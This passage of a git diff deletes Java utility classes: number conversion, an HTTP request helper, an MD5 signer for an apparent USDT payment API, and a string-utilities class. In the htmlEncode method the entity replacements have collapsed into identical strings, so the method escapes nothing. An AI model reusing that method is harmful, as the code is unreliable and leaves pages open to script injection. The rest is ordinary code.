public static byte $Byte(String value){ - return Validator.hasText(value) ? Byte.valueOf(value.trim()) : 0; - } - - public static byte $Byte(Object value){ - return Validator.notNull(value) ? $Byte(value.toString()) : 0; - } - - /** - * 将指定的Number对象转换为指定的类型对象 - * - * @param number the number to convert - * @return 目标类型的对象 - */ - public static Number convertNumber(Number number, Class targetClass) - throws IllegalArgumentException { - Assert.notNull(number, "Number对象不可以为null"); - Assert.notNull(targetClass, "Number目标类对象参数不可以为null"); - if (targetClass.isInstance(number)) { - return number; - }else if (targetClass.equals(Byte.class)) { - long value = number.longValue(); - if (value < Byte.MIN_VALUE || value > Byte.MAX_VALUE) { - raiseOverflowException(number, targetClass); - } - return new Byte(number.byteValue()); - }else if (targetClass.equals(Short.class)) { - long value = number.longValue(); - if (value < Short.MIN_VALUE || value > Short.MAX_VALUE) { - raiseOverflowException(number, targetClass); - } - return new Short(number.shortValue()); - }else if (targetClass.equals(Integer.class)) { - long value = number.longValue(); - if (value < Integer.MIN_VALUE || value > Integer.MAX_VALUE) { - raiseOverflowException(number, targetClass); - } - return new Integer(number.intValue()); - }else if (targetClass.equals(Long.class)) { - return new Long(number.longValue()); - }else if (targetClass.equals(Float.class)) { - return new Float(number.floatValue()); - }else if (targetClass.equals(Double.class)) { - return new Double(number.doubleValue()); - }else if (targetClass.equals(BigInteger.class)) { - return BigInteger.valueOf(number.longValue()); - }else if (targetClass.equals(BigDecimal.class)) { - // using BigDecimal(String) here, to avoid unpredictability of BigDecimal(double) - // (see BigDecimal javadoc for details) - return new BigDecimal(number.toString()); - }else { - throw new IllegalArgumentException("无法将值为 [" + number + "] 类型为 [" + - number.getClass().getName() + "] 的对象转换为 [" + targetClass.getName() + "]"); - } - } - - /** - * 如果指定的值超过了指定的类型的值所能容纳的最大或最小值将抛该异常 - * @param number 需要转换的值 - * @param targetClass 目标对象的类型 - */ - private static void raiseOverflowException(Number number, Class targetClass) { - throw new IllegalArgumentException("无法将值为 [" + number + "] 类型为 [" + - number.getClass().getName() + "] 的对象转换为 [" + targetClass.getName() + "]: 值超过了目标对象的值得范围"); - } - - /** - * 将字符串格式转换为指定的目标类的Number对象 - * @param text 需要转换的字符串 - * @param targetClass 目标类型 - * @return 目标类型的对象 - * @throws IllegalArgumentException 如果不支持指定的目标类型的话将抛该异常 - */ - public static Number parseNumber(String text,Class targetClass) { - Assert.notNull(text, "字符串参数不可以为null"); - Assert.notNull(targetClass, "Number目标类对象参数不可以为null"); - String trimmed = text.trim(); - if (targetClass.equals(Byte.class)) { - return Byte.decode(trimmed); - } - else if (targetClass.equals(Short.class)) { - return Short.decode(trimmed); - } - else if (targetClass.equals(Integer.class)) { - return Integer.decode(trimmed); - } - else if (targetClass.equals(Long.class)) { - return Long.decode(trimmed); - } - else if (targetClass.equals(Float.class)) { - return Float.valueOf(trimmed); - } - else if (targetClass.equals(Double.class)) { - return Double.valueOf(trimmed); - } - else if (targetClass.equals(BigInteger.class)) { - return decodeBigInteger(trimmed); - } - else if (targetClass.equals(BigDecimal.class) || targetClass.equals(Number.class)) { - return new BigDecimal(trimmed); - } - else { - throw new IllegalArgumentException( - "转换失败! String [" + text + "] to target class [" + targetClass.getName() + "]"); - } - } - - /** - * 将字符串转换为BigInteger - * - *

指定的字符串如果是可以是负数表示或者十六进制,八进制表示 - * 负数表示前面加-,十六进制表示前面加0x 0X #,八进制表示前面加0

- * @param value 要转换的字符串 - * @return 返回BigInteger对象 - * @see BigInteger#BigInteger(String, int) - */ - private static BigInteger decodeBigInteger(String value) { - int radix = 10;//基数 - int index = 0;//串索引 - boolean negative = false;//判断是否为负数 - if (value.startsWith("-")) { - negative = true; - index++; - } - if (value.startsWith("0x", index) || value.startsWith("0X", index)) { - index += 2; - radix = 16; - } - else if (value.startsWith("#", index)) { - index++; - radix = 16; - } - else if (value.startsWith("0", index) && value.length() > 1 + index) { - index++; - radix = 8; - } - BigInteger result = new BigInteger(value.substring(index), radix); - return (negative ? result.negate() : result); - } - - - /** - * - * @param number - * @return - */ - public static String setString(double number){ - return number==0?"  ":String.valueOf(number); - } - - /** - * 两个Double类型相加后返回Double类型(如果其中一个为NULL则视为0) - * @param value1 - * @param value2 - * @return - */ - public static Double addValue(Double value1,Double value2){ - return $Double(value1)+$Double(value2); - } - - /** - * 两个Long类型相加后返回Long类型(如果其中一个为NULL则视为0) - * @param value1 - * @param value2 - * @return - */ - public static Long addValue(Long value1,Long value2){ - return $Long(value1)+$Long(value2); - } - - /** - * 将double类型的数据改为非科学记数法表示 - * @param unFormatedNumber - * @return - */ - public static String formateNonScience(double unFormatedNumber){ - DecimalFormat format = new DecimalFormat("#0.000"); - return format.format(unFormatedNumber); - } - - - - - - public static Number parseNum(Class targetClass,Number v){ - - if(targetClass.equals(Byte.class)){ - return Byte.valueOf(v.byteValue()); - } - else if (targetClass.equals(Short.class)) { - return Short.valueOf(v.shortValue()); - } - else if (targetClass.equals(Integer.class)) { - return Integer.valueOf(v.intValue()); - } - else if (targetClass.equals(Long.class)) { - return Long.valueOf(v.longValue()); - } - else if (targetClass.equals(Float.class)) { - return Float.valueOf(0); - } - else if (targetClass.equals(Double.class)) { - return Double.valueOf(v.doubleValue()); - } - else if (targetClass.equals(BigInteger.class)) { - return new BigInteger(String.valueOf(v.longValue())); - } - else if (targetClass.equals(BigDecimal.class) || targetClass.equals(Number.class)) { - return new BigDecimal(v.doubleValue()); - } - else { - throw new IllegalArgumentException( - "类型[" + targetClass.getName() + "],无法初始化0值"); - } - } - - - - -} diff --git a/luqj-common/src/main/java/com/luqj/util/RequestHelper.java b/luqj-common/src/main/java/com/luqj/util/RequestHelper.java deleted file mode 100644 index 969dd64..0000000 --- a/luqj-common/src/main/java/com/luqj/util/RequestHelper.java +++ /dev/null @@ -1,129 +0,0 @@ -package com.luqj.util; - -import com.google.common.util.concurrent.ListenableFuture; -import com.google.common.util.concurrent.SettableFuture; -import com.google.gson.Gson; -import com.google.gson.GsonBuilder; - -import java.io.File; -import java.io.IOException; -import java.lang.reflect.Modifier; -import java.net.URLEncoder; -import java.nio.file.Files; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -public class RequestHelper { - private static final String DEFAULT_CONTENT_TYPE = "application/octet-stream"; - public static Map fileToContentTypeMap = new HashMap(); - static { - fileToContentTypeMap.put(".atom", "application/atom+xml"); - fileToContentTypeMap.put(".rss", "application/rss+xml"); - fileToContentTypeMap.put(".xml", "application/xml"); - fileToContentTypeMap.put(".csv", "text/csv"); - fileToContentTypeMap.put(".txt", "text/plain"); - } - - public static String getContentTypeForFile(File file) { - String contentType = fileToContentTypeMap.get(getFileExtension(file)); - - if (contentType != null) return contentType; - - try { - contentType = Files.probeContentType(file.toPath()); - } catch (IOException ignored) { - } - - return contentType != null ? contentType : DEFAULT_CONTENT_TYPE; - } - - private static String getFileExtension(File file) { - String fileName = file.getName(); - int index = fileName.lastIndexOf('.'); - if (index == -1) return ""; - return fileName.substring(index, fileName.length()); - } - private static String convertToString(Object input) { - if (input == null) { - return "null"; - } else if (input instanceof Map) { - Gson gson = new GsonBuilder() - .excludeFieldsWithModifiers(Modifier.STATIC) - .excludeFieldsWithModifiers(Modifier.PROTECTED) - .disableHtmlEscaping() - .create(); - return gson.toJson((Map) input); - } else if (input instanceof List) { - Gson gson = new GsonBuilder() - .excludeFieldsWithModifiers(Modifier.STATIC) - .excludeFieldsWithModifiers(Modifier.PROTECTED) - .disableHtmlEscaping() - .create(); - return gson.toJson((List) input); - } else { - return input.toString(); - } - } - public static int getContentLength(Map allParams, String boundary) throws IOException { - int contentLength = 0; - for (Map.Entry entry : allParams.entrySet()) { - contentLength += ("--" + boundary + "\r\n").length(); - if (entry.getValue() instanceof File) { - File file = (File) entry.getValue(); - String contentType = getContentTypeForFile(file); - contentLength += getLengthAndLog( "Content-Disposition: form-data; name=\"" + entry.getKey() + "\"; filename=\"" + file.getName() + "\"\r\n"); - if (contentType != null) { - contentLength += getLengthAndLog( "Content-Type: " + contentType + "\r\n"); - } - contentLength += getLengthAndLog( "\r\n"); - contentLength += file.length(); - contentLength += getLengthAndLog( "\r\n"); - } else if (entry.getValue() instanceof byte[]) { - byte[] bytes = (byte[]) entry.getValue(); - contentLength += getLengthAndLog( "Content-Disposition: form-data; name=\"" + entry.getKey() + "\"; filename=\"" + "chunkfile" + "\"\r\n"); - contentLength += bytes.length; - contentLength += getLengthAndLog( "\r\n"); - } else { - contentLength += getLengthAndLog( "Content-Disposition: form-data; name=\"" + entry.getKey() + "\"\r\n\r\n"); - contentLength += getLengthAndLog( convertToString(entry.getValue())); - contentLength += getLengthAndLog( "\r\n"); - } - } - contentLength += getLengthAndLog( "--" + boundary + "--\r\n"); - return contentLength; - } - - private static int getLengthAndLog(String input) throws IOException { - return input.getBytes("UTF-8").length; - } - - public static String constructUrlString(String apiUrl, Map allParams) throws IOException { - StringBuilder urlString = new StringBuilder(apiUrl); - boolean firstEntry = true; - for (Map.Entry entry : allParams.entrySet()) { - urlString.append((firstEntry ? "?" : "&") + URLEncoder.encode(entry.getKey().toString(), "UTF-8") + "=" + URLEncoder.encode(convertToString(entry.getValue()), "UTF-8")); - firstEntry = false; - } - return urlString.toString(); - } - - public static ListenableFuture invoke(okhttp3.OkHttpClient client, okhttp3.Request request) { - final SettableFuture future = SettableFuture.create(); - client.newCall(request).enqueue( - new okhttp3.Callback() { - @Override - public void onFailure(final okhttp3.Call call, IOException e) { - future.setException( - new Exception(e) - ); - } - - @Override - public void onResponse(okhttp3.Call call, final okhttp3.Response response) throws IOException { - future.set(new ResponseWrapper(response.body().string(), convertToString(response.headers()))); - } - }); - return future; - } -} \ No newline at end of file diff --git a/luqj-common/src/main/java/com/luqj/util/ResponseWrapper.java b/luqj-common/src/main/java/com/luqj/util/ResponseWrapper.java deleted file mode 100644 index 30f7255..0000000 --- a/luqj-common/src/main/java/com/luqj/util/ResponseWrapper.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.luqj.util; - -public class ResponseWrapper { - private String body; - private String header; - - public ResponseWrapper(String body, String header) { - this.body = body; - this.header = header; - } - - public String getBody() { - return this.body; - } - - public String getHeader() { - return this.header; - } -} \ No newline at end of file diff --git a/luqj-common/src/main/java/com/luqj/util/SignatureUtil.java b/luqj-common/src/main/java/com/luqj/util/SignatureUtil.java deleted file mode 100644 index 3549707..0000000 --- a/luqj-common/src/main/java/com/luqj/util/SignatureUtil.java +++ /dev/null @@ -1,92 +0,0 @@ -package com.luqj.util; - - -import java.security.MessageDigest; -import java.util.HashMap; -import java.util.Map; -import java.util.SortedMap; -import java.util.TreeMap; - -public class SignatureUtil { - - /** - * 生成签名 - * @param params 业务参数(不包含signature) - * @param apiToken API认证密钥(例如 epusdt_password_xasddawqe) - * @return 生成的MD5签名(32位小写) - */ - public static String generateSignature(Map params, String apiToken) { - // 1. 按 ASCII 排序 - SortedMap sortedParams = new TreeMap<>(params); - - // 2. 拼接成 key=value&key=value - StringBuilder sb = new StringBuilder(); - for (Map.Entry entry : sortedParams.entrySet()) { -// if(entry.getValue() instanceof Double){ -// Double val = (Double) entry.getValue(); -// BigDecimal amount = new BigDecimal(val); -// if (entry.getValue() != null) { -// sb.append(entry.getKey()).append("=").append( amount.setScale(2, RoundingMode.DOWN).toPlainString()).append("&"); -// } -// }else if(entry.getValue() instanceof BigDecimal){ -// BigDecimal amount = (BigDecimal) entry.getValue(); -// if (entry.getValue() != null) { -// sb.append(entry.getKey()).append("=").append( amount.setScale(2, RoundingMode.DOWN).toPlainString()).append("&"); -// } -// }else { -// if (entry.getValue() != null && !entry.getValue().toString().isEmpty()) { -// sb.append(entry.getKey()).append("=").append(entry.getValue()).append("&"); -// } -// } - if (entry.getValue() != null && !entry.getValue().toString().isEmpty()) { - sb.append(entry.getKey()).append("=").append(entry.getValue()).append("&"); - } - } - - // 去掉最后一个 & 符号 - sb.setLength(sb.length() - 1); - - // 3. 拼接密钥 - sb.append(apiToken); // 注意:不是加 &,是直接拼接密钥!!! - - // 4. MD5加密 - return md5(sb.toString()).toLowerCase(); - } - - // MD5算法实现 - private static String md5(String text) { - try { - MessageDigest md = MessageDigest.getInstance("MD5"); - byte[] digest = md.digest(text.getBytes("UTF-8")); - StringBuilder hexString = new StringBuilder(); - for (byte b : digest) { - hexString.append(String.format("%02x", b & 0xff)); - } - return hexString.toString(); - } catch (Exception e) { - throw new RuntimeException("MD5 error: " + e.getMessage(), e); - } - } - - // 测试方法 - public static void main(String[] args) throws Exception { - Map params = new HashMap<>(); - params.put("order_id", System.currentTimeMillis()+""); - params.put("app_id", "1"); - params.put("amount", "64.01"); - params.put("notify_url", "http://127.0.0.1:5005/transfer/trc/notify"); - params.put("redirect_url", "http://example.com/redirect"); //pay/checkout-counter/xxx 支付成功后得回调地址 - - String token = "lqj"; - String signature = generateSignature(params, token); - //c50576484554b282f6c2b53097217464 - System.out.println("Signature = " + signature); - HttpHelper httpHelper = new HttpHelper(); - HashMap headers = new HashMap<>(); -// headers.put("Content-Type", "application/json"); - params.put("signature", signature); - String result =httpHelper.playLoad("post","https://yougc.com/usdt/api/v1/order/create-transaction" - ,headers,params,"application/json","utf-8"); - System.out.println(result); - } -} diff --git a/luqj-common/src/main/java/com/luqj/util/StringUtils.java b/luqj-common/src/main/java/com/luqj/util/StringUtils.java deleted file mode 100644 index 4cbe2a5..0000000 --- a/luqj-common/src/main/java/com/luqj/util/StringUtils.java +++ /dev/null @@ -1,1869 +0,0 @@ -/** - * 版权所有:厦门市巨龙软件工程有限公司 - * Copyright 2009 Xiamen Dragon Software Eng. Co. Ltd. - * All right reserved. - *==================================================== - * 文件名称: StringUtils.java - * 修订记录: - * No 日期 作者(操作:具体内容) - * 1. Mar 3, 2009 何志昭(创建:创建文件) - * 2004-11-16 陈雄华更改了splitString方法、增加了toVisualString方法、增加了subStringCount方法 - * 2. Mar 3, 2009 根据dragonsoft_checks.xml规范进行调整 - *==================================================== - * 类描述: - * - */ -package com.luqj.util; - -import java.security.MessageDigest; -import java.sql.Date; -import java.sql.Time; -import java.sql.Timestamp; -import java.text.DecimalFormat; -import java.text.SimpleDateFormat; -import java.util.ArrayList; -import java.util.List; -import java.util.UUID; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - - -/** - *

- * 字符串处理工具类.
- * <blockquote>
- * <b>数字格式化样式</b>
- * <table border=0 cellspacing=3 cellpadding=0 width="90%">
- * 
- *      
- * Symbol
- * 
- *      
- * Location
- * 
- *      
- * Localized
- * 
- *      
- * Meaning
- * 
- *  
- *  
- *      
- * 0
- *      
- * Number
- * 
- *      
- * Yes
- * 
- *      
- * Digit
- * 
- *  
- *  
- *      
- * #
- * 
- *      
- * Number
- * 
- *      
- * Yes
- * 
- *      
- * Digit, zero shows as absent
- * 
- *  
- *  
- *      
- * .
- * 
- *      
- * Number
- * 
- *      
- * Yes
- * 
- *      
- * Decimal separator or monetary decimal separator
- * 
- *  
- *  
- *      
- * -
- * 
- *      
- * Number
- * 
- *      
- * Yes
- * 
- *      
- * Minus sign
- * 
- *  
- *  
- *      
- * ,
- * 
- *      
- * Number
- * 
- *      
- * Yes
- * 
- *      
- * Grouping separator
- * 
- *  
- *  
- *      
- * E
- *      
- * Number
- * 
- *      
- * Yes
- * 
- *      
- * Separates mantissa and exponent in scientific notation.
- * 
- * Need not be quoted in prefix or suffix.
- * 
- *  
- *  
- *      
- * ;
- * 
- *      
- * Subpattern boundary
- * 
- *      
- * Yes
- * 
- *      
- * Separates positive and negative subpatterns
- * 
- *  
- *  
- *      
- * %
- * 
- *      
- * Prefix or suffix
- * 
- *      
- * Yes
- * 
- *      
- * Multiply by 100 and show as percentage
- * 
- *  
- *  
- *      
- *  \u2030
- * 
- *      
- * Prefix or suffix
- * 
- *      
- * Yes
- * 
- *      
- * Multiply by 1000 and show as per mille
- * 
- *  
- *  
- *      
- * ¤
- *  (
- * 
- * \u00A4
- * 
- * )
- * 
- *      
- * Prefix or suffix
- * 
- *      
- * No
- * 
- *      
- * Currency sign, replaced by currency symbol.  If
- *          doubled, replaced by international currency symbol.
- *          If present in a pattern, the monetary decimal separator
- *          is used instead of the decimal separator.
- * 
- *  
- *  
- *      
- * '
- * 
- *      
- * Prefix or suffix
- * 
- *      
- * No
- * 
- *      
- * Used to quote special characters in a prefix or suffix,
- *          for example,
- * 
- * "'#'#"
- * 
- *  formats 123 to
- * 
- * "#123"
- * 
- * .  To create a single quote
- *          itself, use two in a row:
- * 
- * "# o''clock"
- * 
- * .
- * 
- *   
- * </table>
- *
- * <b>符号(Symbol)通常是组合在一起使用的,例如下表</b>
- * <table border=0 cellspacing=3 cellpadding=0 width="90%">
- * 
- *         
- * 输入
- * 
- *         
- * 格式
- * 
- *         
- * 输出
- * 
- *     
- *     
- *         
- * 1234.123456
- * 
- *         
- * 0
- *         
- * 1234
- * 
- *     
- *     
- *         
- * 0.00
- * 
- *         
- * 1234.12
- * 
- *     
- *     
- *         
- * 0.###
- * 
- *         
- * 1234.123
- * 
- *     
- *     
- *         
- * 0.0000
- * 
- *         
- * 1234.1235
- * 
- *     
- *     
- *         
- * 00000000.00
- * 
- *         
- * 00001234.12
- * 
- *     
- *     
- *         
- * ,000.00
- * 
- *         
- * 1,234.12
- * 
- *     
- *     
- *         
- * ,00.00000000
- * 
- *         
- * 12,34.12345600
- * 
- *     
- *     
- *         
- * 0.00%
- * 
- *         
- * 123412.35%
- * 
- *     
- *     
- *         
- * 1234.100056
- * 
- *         
- * 0
- *         
- * 1234
- * 
- *     
- *     
- *         
- * 0.00
- * 
- *         
- * 1234.10
- * 
- *     
- *     
- *         
- * 0.##
- * 
- *         
- * 1234.1
- * 
- *     
- *     
- *         
- * (人民币),000.00
- * 
- *         
- * (人民币)1,234.10
- * 
- *     
- *     
- *         
- * ,000.########
- * 
- *         
- * 1,234.100056
- * 
- *     
- * </table>
- * 
- * 注:0与#功能类似,区别在于用0表示位数时,格式化后的首尾的0会显示,而用#表示位数时,首尾的0不显示 - * </blockquote> - *
- * - *
- *
- *
JDK版本:
- *
- *
1.4
- *
- * - * @author 涂传滨,伊新煦,陈雄华,谢计生 - * @version 1.0 - * @since 1.0 - * @see DecimalFormat - */ -public final class StringUtils { - - /** 字符长度 */ - public static final int CHAR_LEN = 1; - - /** 字节长度 */ - public static final int BYTE_LEN = 2; - - final static SimpleDateFormat DATE_FORMAT = new SimpleDateFormat("yyyyMMddHHmmss");; - - public static boolean notBlank(String str) { - return !isBlank(str); - } - - public static boolean notBlank(String... strings) { - if (strings == null || strings.length == 0) { - return false; - } - for (String str : strings) { - if (isBlank(str)) { - return false; - } - } - return true; - } - - public static boolean hasText(String text) { - if (text == null) - return false; - for (int i = 0; i < text.length(); i++) { - if (!Character.isWhitespace(text.charAt(i))) - return true; - } - return false; - } - - public static String parseDateToString(Object obj){ - - String dateStr = null; - - if(obj == null){ - return null; - } - - if(obj.getClass().getName().equals("java.sql.Date")){ - Date date = (Date) obj; - return String.valueOf(date.getTime()); - }else if(obj.getClass().getName().equals("java.sql.Timestamp")){ - Timestamp date = (Timestamp) obj; - return String.valueOf(date.getTime()); - }else if(obj.getClass().getName().equals("java.sql.Time")){ - Time date = (Time) obj; - return String.valueOf(date.getTime()); - }else{ - return String.valueOf(obj); - } - - /*if(obj.getClass().getName().equals("java.sql.Date")|| - obj.getClass().getName().equals("java.sql.Timestamp")|| - obj.getClass().getName().equals("java.sql.Time")){ - try { - Date date = (Date) obj; - date.getTime(); - dateStr = DATE_FORMAT.format(obj); - } catch (ArrayIndexOutOfBoundsException e) { - // TODO Auto-generated catch block - e.printStackTrace(); - logger.error("出现异常的数据"+obj); - throw new ArrayIndexOutOfBoundsException("数组越界"+obj); - } - }else{ - return (String)obj; - } - */ - //return dateStr; - - } - - - public static String uuid(){ - return UUID.randomUUID().toString().replaceAll("-", ""); - } - - - public static String lowerFirst(String v){ - return v.replaceFirst(v.substring(0,1), v.substring(0,1).toLowerCase()); - } - - public static String upFirst(String v){ - return v.replaceFirst(v.substring(0,1), v.substring(0,1).toUpperCase()); - } - - /** - * 数字字符串转化为整数 - * - * @param intStr - * String 待转化的数字字符串 - * @param intDef - * int 当intStr为空或空字符串时返回的缺省值 - * @return int 返回由数字字符串转化成的数字,当intStr为空或空字符串时,返回缺省值intDef - */ - public static int getInt(String intStr, int intDef) { - if (null == intStr || "".equals(intStr.trim())) { - return intDef; - } - - int intRetu = intDef; - - Double db = new Double(intStr); - intRetu = db.intValue(); - return intRetu; - } - - /** - * 数字字符串转化为整数,在转化时发生异常,则返回0 - * - * @param intStr - * String 待转化的数字字符串 - * @return int 返回由数字字符串转化成的整数,当intStr为空或空字符串时,返回0 - */ - public static int getInt(String intStr) { - return getInt(intStr, 0); - } - - /** - * 数字字符串转化为双精数字 - * - * @param dbstr - * String 待转化的数字字符串 - * @param dbDef - * double 当dbstr为空或空字符串时返回的缺省值 - * @return double 返回由数字字符串转化成的数字,当dbstr为空或空字符串时,则返回缺省值dbDef - */ - public static double getDouble(String dbstr, double dbDef) { - - if (null == dbstr || "".equals(dbstr.trim())) { - return dbDef; - } - double dbRetu = dbDef; - Double db = new Double(dbstr); - dbRetu = db.doubleValue(); - return dbRetu; - } - - /** - * 数字字符串转化为双精数字,在转化时发生异常,则返回0 - * - * @param dbstr - * String 待转化的数字字符串 - * @return double 返回由数字字符串转化成的数字,当dbstr为空或空字符串时,则返回0。 - */ - public static double getDouble(String dbstr) { - return getDouble(dbstr, 0); - } - - /** - * 数字字符串转化为长整型 - * - * @param longstr - * String 待转化的数字字符串 - * @param longDef - * long 当longstr为空或空字符串时返回的缺省值 - * @return long 返回由数字字符串转化成的数字,当longstr为空或空字符串时,则返回缺省值longDef - */ - public static long getLong(String longstr, long longDef) { - if (null == longstr || "".equals(longstr.trim())) { - return longDef; - } - long longRetu = longDef; - - Double db = new Double(longstr); - longRetu = db.longValue(); - - return longRetu; - } - - /** - * 数字字符串转化为长整型,在转化时发生异常,则返回0 - * - * @param longstr - * String 待转化的数字字符串 - * @return long 返回由数字字符串转化成的数字,当longstr为空或空字符串时,则返回0。 - */ - public static long getLong(String longstr) { - return getLong(longstr, 0); - } - - /** - * 字符串转化为布尔型 - * - * @param booleanstr - * String 待转化的字符串 - * @param booleanDef - * boolean 当字符串为空或为null时返回的值 - * @return boolean 返回转化化的布尔值,只有当booleanstr为字符串“true”(忽略大小写)时才返回true,
- * 如果在转化时发生异常(只有为null时),则返回缺省值booleanDef - */ - public static boolean getBoolean(String booleanstr, boolean booleanDef) { - if (null == booleanstr) { - return booleanDef; - } - boolean booleanRetu = booleanDef; - if ("true".equalsIgnoreCase(booleanstr.trim())) { - booleanRetu = true; - } - - return booleanRetu; - } - - /** - * 字符串转化为布尔型.
- * 只有当booleanstr为字符串“true”(忽略大小写)时才返回true,其它都返回false, 包括booleanstr为null - * - * @param booleanstr - * String 待转化的字符串 - * @return boolean 返回转化化的布尔值, - */ - public static boolean getBoolean(String booleanstr) { - return getBoolean(booleanstr, false); - } - - /** - * 双精数字格式化,返回字符串 - * - * @param db - * double 待格式化的双精数字 - * @param fmt - * String 格式化样式,参见类说明,
- * fmt非法时,db将按原样转化为字符串后返回。 - * @return String 格式化后的数字,以字符串方式返回 - */ - public static String getNumFormat(double db, String fmt) { - String retu = ""; - if (null == fmt || "".equals(fmt.trim())) { - return Double.toString(db); - } - - try { - DecimalFormat decimalformat = new DecimalFormat(fmt); - retu = decimalformat.format(db); - decimalformat = null; - } catch (IllegalArgumentException iaex) { - // ialog.error(ex.getMessage()); - retu = Double.toString(db); - } - return retu; - } - - /** - * 双精数字格式化,把入参中的双精数格式化为带两位小数的数字字符串 - * - * @param db - * double 待格式化的双精数字 - * @return String 格式化为两位小数的数字字符串 - */ - public static String getNumFormat(double db) { - return getNumFormat(db, "0.00"); - } - - /** - * 数字字符串格式化,返回字符串 - * - * @param numStr - * String 待格式化的数字字符串,
- * 如果numStr参数不是的数字则不进行格式化,按原样返回 - * @param fmt - * String 格式化样式,参见类说明
- * fmt非法时,将把numStr按原样返回。 - * @return String 格式化后的字符串 - */ - public static String getNumFormat(String numStr, String fmt) { - double db = getDouble(numStr, 0); - return getNumFormat(db, fmt); - } - - /** - * 数字字符串格式化,把入参中的数字字符串格式化为带两位小数的数字字符串 - * - * @param numStr - * String 待格式化的数字字符串,
- * 如果numStr参数不是的数字则不进行格式化,按原样返回 - * @return String 格式化为两位小数的数字字符串 - */ - public static String getNumFormat(String numStr) { - return getNumFormat(numStr, "0.00"); - } - - /** - * 普通字符串转化为网页中可显示的,如回车转化为<br>. - * - * @param str - * String 待转化的字符串 - * @return String 转化后的字符串 - */ - public static String htmlEncode(String str) { - String retu = null; - if (null == str || "".equals(str.trim())) { - retu = str; - } else { - String html = str; - //StringUtils tool = new StringUtils(); - html = replaceString(html, "&", "&"); - html = replaceString(html, "<", "<"); - html = replaceString(html, ">", ">"); - html = replaceString(html, "\r\n", "\n"); - html = replaceString(html, "\n", "
"); - html = replaceString(html, "\t", " "); - html = replaceString(html, " ", " "); - html = replaceString(html, "\"", """); - retu = html; - html = null; - } - return retu; - } - - /** - * 字符串替换,把str字符串中的所有oldStr子串替换为newStr字串 - * - * @param sourceStr - * String 将被替换的字符串,为null时不执行任何替换操作 - * @param oldStr - * String 将被替换的子串,为null或为空字符串时不执行替换操作 - * @param newStr - * String 将被替换成的子串,为null时不执行替换操作 - * @param isIgnoreCase - * boolean 是否忽略大小写,true表忽略大小写,false表大小写敏感。 - * @return String 替换后的字符串 - */ - public static String replaceString(String sourceStr, String oldStr, String newStr, boolean isIgnoreCase) { - if (sourceStr == null || oldStr == null || oldStr.equals("")) { - return null; - } - String strRetStr = sourceStr; - int pos = strRetStr.indexOf(oldStr); - while (pos != -1) { - strRetStr = strRetStr.substring(0, pos) + newStr + strRetStr.substring(pos + oldStr.length()); - pos = strRetStr.indexOf(oldStr, pos + newStr.length()); - } - return strRetStr; - } - - /** - * 字符串替换,把str字符串中的所有oldStr子串替换为newStr字串(大小写敏感) - * - * @param sourceStr - * String 将被替换的字符串,为null时不执行任何替换操作 - * @param oldStr - * String 将被替换的子串,为null或为空字符串时不执行替换操作 - * @param newStr - * String 将被替换成的子串,为null时不执行替换操作 - * @return String 替换后的字符串 - */ - public static String replaceString(String sourceStr, String oldStr, String newStr) { - return replaceString(sourceStr, oldStr, newStr, false); - } - - /** - * 字符串按指定分隔符分解为一个数组(大小写敏感).
- * 例子:
- * String[] array = StringUtils.splictString("AA/BBB/CCC//DDDD//" , "/" ); - *
- * 结果:
- * array[0]="AA" array[1]="BBB" array[2]="CCC" array[3]="DDDD" - * - * @param sourceStr - * String 源字符串 - * @param splitStr - * String 分隔符 - * @param isTrim - * boolean - * @return String[] 字符串数组,
- * 源字符串为null或为空字符串时,返回长度为1的数组,元素值为空字符串
- * 分隔符为null或为空字符串时,返回长度为1的数组,元素值为源字符串 - */ - public static String[] splitString(String sourceStr, String splitStr, boolean isTrim) { - String newSourceStr = sourceStr; - String newSplitStr = splitStr; - - if (newSourceStr == null || newSplitStr == null) { - return null; - } - - if (isTrim) // 去掉开始和结束的分隔符 - { - // 开头的间隔符去掉 - while (newSourceStr.indexOf(newSplitStr) == 0) { - newSourceStr = newSourceStr.substring(newSplitStr.length()); - } - - // 尾部的间隔符去掉 - while (newSourceStr.indexOf(newSplitStr, newSourceStr.length() - newSplitStr.length()) > -1) { - newSourceStr = newSourceStr.substring(0, sourceStr.length() - newSplitStr.length()); - } - } - if (newSourceStr.equals("") || newSplitStr.equals("")) { - return null; - } - return splitString(newSourceStr, newSplitStr); - } - - /** - * 功能简述 :把字符串放入一个数组 - * - * @param sourceStr - * 要被放入的字符串 - * @param splitStr - * 间隔符 - * @return 转换后的数组,sourceStr或splitStr = null 或 "" 返回null - */ - public static String[] splitString(String sourceStr, String splitStr) { - String newSourceStr = sourceStr; - String newSplitStr = splitStr; - - if (newSourceStr == null || newSplitStr == null) { - return null; - } - if (newSourceStr.equals("") || newSplitStr.equals("")) { - return null; - } - int intArraySize = subStringCount(newSourceStr, newSplitStr); - // 如果为-1则返回 - if (intArraySize == -1) { - return null; - } - - newSourceStr += newSplitStr; - - String[] strRetArr = new String[intArraySize + 1]; - int intpos = newSourceStr.indexOf(newSplitStr); - int intArrayPos = 0; - while (intpos != -1) { - strRetArr[intArrayPos++] = newSourceStr.substring(0, intpos); - newSourceStr = newSourceStr.substring(intpos + newSplitStr.length()); - intpos = newSourceStr.indexOf(newSplitStr); - } - - return strRetArr; - } - - /** - * 功能简述 :把字符串放入一个数组 - * @param sourceStr - * 要被放入的字符串 - * @param splitStr - * 间隔符 - * @return 转换后的List,sourceStr或splitStr = null 或 "" 返回元素个数为0的List - */ - public static List splitString2List(String sourceStr, String splitStr) { - String[] tempArr = splitString(sourceStr, splitStr); - List resultList = new ArrayList(); - if (tempArr != null) { - for (int i = 0; i < tempArr.length; i++) { - resultList.add(tempArr[i]); - } - } - return resultList; - } - - /** - * 功能简述 :把字符串放入一个数组 - * - * @param sourceStr - * 要被放入的字符串 - * @param splitStr - * 间隔符 - * @param isTrim - * boolean - * @return 转换后的List,sourceStr或splitStr = null 或 "" 返回元素个数为0的List - */ - public static List splitString2List(String sourceStr, String splitStr, boolean isTrim) { - String[] tempArr = splitString(sourceStr, splitStr, isTrim); - List resultList = new ArrayList(); - if (tempArr != null) { - for (int i = 0; i < tempArr.length; i++) { - resultList.add(tempArr[i]); - } - } - return resultList; - } - - /** - * 功能简述 :在一个字符串中查找字符串个数(不区分大小写) - * - * @param sourceStr - * 要被查询的字符串 - * @param subStr - * 要查找的字符串 - * @return 找到的个数 - */ - public static int subStringCount(String sourceStr, String subStr) { - // 如果是空指针则返回-1 - if (sourceStr == null || subStr == null) { - return -1; - } - if 